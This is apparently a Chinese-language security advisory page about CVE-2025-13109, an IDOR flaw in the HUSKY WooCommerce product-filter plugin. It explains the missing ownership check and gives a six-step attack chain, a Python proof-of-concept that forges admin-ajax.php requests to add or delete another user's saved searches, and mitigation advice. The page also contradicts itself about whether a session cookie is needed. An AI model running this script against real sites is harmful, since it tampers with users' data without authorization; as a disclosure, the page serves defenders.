IPBUF安全漏洞报告
English
CVE-2025-13109 CVSS 4.3 中危

CVE-2025-13109 WordPress HUSKY插件IDOR漏洞可操纵用户搜索查询

披露日期: 2025-12-03

漏洞信息

漏洞编号
CVE-2025-13109
漏洞类型
不安全的直接对象引用(IDOR)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
HUSKY – Products Filter Professional for WooCommerce

相关标签

CVE-2025-13109WordPress插件漏洞IDOR不安全的直接对象引用HUSKY Products FilterWooCommerce认证绕过数据篡改AJAX漏洞中等严重程度

漏洞概述

CVE-2025-13109是WordPress插件HUSKY – Products Filter Professional for WooCommerce中的一个中危安全漏洞。该插件是一款专业的WooCommerce产品过滤增强工具,旨在为电商网站提供高级的产品搜索和过滤功能。漏洞存在于插件的woof_add_query和woof_remove_query函数中,由于缺少对用户控制键的充分验证,导致存在不安全的直接对象引用(IDOR)问题。攻击者利用此漏洞可以绕过正常的访问控制机制,对任意用户(包括管理员)的保存搜索查询进行插入或删除操作。虽然该漏洞不影响系统核心功能,但攻击者可以通过操纵用户的搜索查询记录,干扰用户体验,影响网站的正常使用和数据分析。此外,攻击者还可能利用此漏洞进行社会工程学攻击,通过修改用户的搜索历史来误导用户行为。在CVSS 3.1评分体系中,该漏洞获得4.3分,属于中等严重程度,主要因为其需要认证且权限要求较低(只需订阅者级别),同时不影响机密性和可用性,仅对数据完整性有轻微影响。所有版本从初始发布到1.3.7.2均受影响,建议用户尽快升级到最新修复版本。

技术细节

该漏洞的根本原因在于HUSKY插件在处理woof_add_query和woof_remove_query函数时,直接使用了用户提供的键值而未进行充分的权限验证和对象所有权检查。在正常的访问控制设计中,系统应该验证当前登录用户是否有权对特定对象执行操作。然而,该插件在实现这些函数时,仅检查了用户是否已登录(具有订阅者及以上权限),而没有验证用户提供的键是否属于当前用户。攻击者可以通过构造恶意的AJAX请求,指定任意用户ID作为目标对象,然后调用这些函数来插入或删除该用户的保存搜索查询。具体来说,攻击者需要构造一个包含目标用户ID和搜索查询数据的POST请求,发送到WordPress的admin-ajax.php端点。插件的回调函数会直接处理用户提交的参数,将搜索查询保存到数据库中对应的用户元数据字段。由于缺乏CSRF令牌验证或Referer检查,攻击者可以在不知晓目标用户会话的情况下实施攻击。修复方案需要在函数入口处添加当前用户身份与目标用户身份的匹配验证,确保只有用户本人才能修改自己的搜索查询数据。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress订阅者级别账户或通过其他方式获取有效会话Cookie
STEP 2
步骤2
攻击者识别目标用户ID(可通过用户资料页面或其他途径获取,如管理员通常为ID=1)
STEP 3
步骤3
攻击者构造恶意AJAX请求,指定action为woof_add_query或woof_remove_query
STEP 4
步骤4
在请求参数中注入目标用户ID(user_id)和恶意的搜索查询数据(woof_query_key/woof_query_data)
STEP 5
步骤5
插件函数接收请求后,由于缺少所有权验证,直接将数据写入目标用户的数据库记录
STEP 6
步骤6
目标用户登录后,其个人资料中会被插入攻击者指定的搜索查询,或原有查询被删除

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys from urllib.parse import urlencode # CVE-2025-13109 PoC - IDOR in HUSKY Products Filter Plugin # Target: WordPress with HUSKY plugin <= 1.3.7.2 TARGET_URL = "http://target-wordpress-site.com" ATTACKER_COOKIE = "wordpress_logged_in_cookie_here" TARGET_USER_ID = 1 # Target user ID (1 is usually admin) def add_malicious_query(): """Insert arbitrary saved search query into target user's profile""" endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" headers = { "Cookie": ATTACKER_COOKIE, "Content-Type": "application/x-www-form-urlencoded" } # Malicious payload - IDOR via user controlled key data = { "action": "woof_add_query", "user_id": TARGET_USER_ID, # IDOR: No validation that attacker owns this user_id "woof_query_key": "malicious_query", "woof_query_data": "{\"price\":{\"min\":0,\"max\":0},\"stock_status\":\"instock\"}" } try: response = requests.post(endpoint, headers=headers, data=data, timeout=10) print(f"[*] Request sent to {endpoint}") print(f"[*] Response status: {response.status_code}") print(f"[*] Response: {response.text[:500]}") if response.status_code == 200: print("[+] Malicious query may have been added successfully") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def remove_user_query(): """Remove saved search query from target user's profile""" endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" headers = { "Cookie": ATTACKER_COOKIE, "Content-Type": "application/x-www-form-urlencoded" } data = { "action": "woof_remove_query", "user_id": TARGET_USER_ID, # IDOR vulnerability "woof_query_key": "legitimate_query" } try: response = requests.post(endpoint, headers=headers, data=data, timeout=10) print(f"[*] Remove query request sent") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("="*60) print("CVE-2025-13109 PoC - HUSKY Plugin IDOR Vulnerability") print("="*60) print("\n[*] Exploiting IDOR in woof_add_query/woof_remove_query") print(f"[*] Target: {TARGET_URL}") print(f"[*] Target User ID: {TARGET_USER_ID}\n") print("[1] Attempting to add malicious query...") add_malicious_query() print("\n[2] Attempting to remove legitimate query...") remove_user_query() print("\n[*] PoC execution completed")

影响范围

HUSKY – Products Filter Professional for WooCommerce <= 1.3.7.2

防御指南

临时缓解措施
如果无法立即升级插件,可以临时采取以下缓解措施:1) 限制用户注册功能,防止攻击者获取订阅者级别账户;2) 使用Web应用防火墙(WAF)规则拦截异常的admin-ajax.php请求;3) 监控wp_usermeta表中异常的meta_key记录;4) 考虑暂时禁用HUSKY插件的保存搜索功能;5) 加强对高权限账户(如管理员)的登录监控和双因素认证。然而,最根本的解决方案仍然是升级到插件开发者发布的安全修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表